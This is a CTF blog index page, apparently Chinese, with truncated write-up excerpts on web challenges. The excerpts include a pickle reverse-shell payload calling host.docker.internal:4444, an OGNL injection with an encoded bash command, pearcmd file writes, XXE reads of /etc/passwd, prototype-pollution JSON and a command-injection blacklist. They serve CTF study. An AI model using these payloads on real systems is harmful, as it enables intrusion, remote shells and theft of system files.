RCE!!!!
这个bash盲注…限制的太死了吧 if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); exp import timeimport requestsurl = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/"result = ""for i in range(1, 15): for j in range(1, 50): # ascii码表 for k in range(32, 127): ...
include
p神大作,Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc、$argv、$_SERVER['argv']几个变量 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1Host: 192.168.1.162:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: close 发送这个数据包,目标将会写入一个文件/tmp/hello. ...
原型链污染1
没细看 { "date":"1", "place":"1", "contact":"1", "reason":"1", "__proto__": { "min_public_time": "1001-01-01" }} 漏洞是 async function getInfo(timestamp) { // Ensure the timestamp is a number or default to the current time timestamp = typeof timestamp === "number" ? timestamp : Date.now(); // Remove test data from before the movie was releas ...
原型链污染2
还是没时间看 { "contact":"a", "reason":"a", "constructor":{ "prototype":{ "format": "yy19-MM-ddTHH:mm:ss.fffZ", "baseDate":"aaa", "fff": "bbb" } }} routes/_components/utils.js里是merge const DEFAULT_CREATE_DATE_OPTIONS = { UTC: false, format: [ "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm:ss.fff&q ...
逃
反序列化字节逃逸 O:7:"GetFlag":2:{s:3:"key";s:N:"N个长度的字符串";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
TestConnection
JDBC 就是 Java 用于操作数据库的接口, 通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的访问 JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite db-name 是要使用的数据库名 param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等 当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.11</version> <scope>runtime ...
YourBatis
首先关注 pom.xml, 通过这个文件可以查看 jar 包使用的第三方库 <dependency><groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.1.1</version></dependency> 存在OGNL表达式注入 ${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzlvYjNOMExtUnZZMnRsY2k1cGJuUmxjbTVoYkM4ME5EUTBJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9Cg==')))& ...
auth_bypass
直接通过 getRequestURI() 得到的 url 路径存在一些问题, 比如不会自动 urldecode, 也不会进行标准化 (去除多余的 / 和 ..) 这里 .. 被过滤了, 所以直接访问 //download 就能绕过, 后面目录穿越下载文件的时候可以将 .. 进行一次 url 编码 //download?filename=%2e%2e/WEB-INF/web.xml POST /You_Find_This_Evil_Servlet_a76f02cb8422 HTTP/1.1Host: 127.0.0.1:50042Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/ ...
pickle
pickle Windows和Linux pickle序列化数据不同 直接用opcode确实要好点 晚点去学一下opcode,然后再基于Masterlin的脚本写一个图形化工具 flask-unsign --sign --cookie "{'notes': {'evil': b'''cos\nsystem\n(S'bash -c \"bash -i >& /dev/tcp/host.docker.internal/4444 0>&1\"'\ntR.'''}}" --secret 6061 --no-literal-eval
pin+rss
就是xml注入加pin,被docker版本坑了一回 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe_1 SYSTEM "file:///etc/passwd" > <!ENTITY xxe_2 SYSTEM "file:///sys/class/net/eth0/address" > <!ENTITY xxe_3 SYSTEM "file:///etc/machine-id" > <!ENTITY xxe_4 SYSTEM "file:///proc/sys/kernel/random/boot_id" > <!ENTITY xxe_5 SYSTEM "file:///proc/self/cgroup" > <!E ...
redis
主从复制 import requestsimport redef urlencode(data): enc_data = '' for i in data: h = str(hex(ord(i))).replace('0x', '') if len(h) == 1: enc_data += '%0' + h.upper() else: enc_data += '%' + h.upper() return enc_datadef gen_payload(payload): redis_payload = '' for i in payload.split('\n'): arg_num = '*' + str(len(i.split(' '))) redis_payloa ...
spring actuator
文件有点大 curl -o heapdump.hprof http://124.71.184.68:50041/actuator/heapdump 用curl来下载 然后java -jar /Users/dionysus/CTF/java/spring/avactor/JDumpSpider-1.1-SNAPSHOT-full.jar /Users/dionysus/CTF/java/spring/avactor/heapdump 后来发现其实早就下载了,但是我没发现(QAQ)
avatar
dionysus
我醉欲眠卿且去
此心安处
公告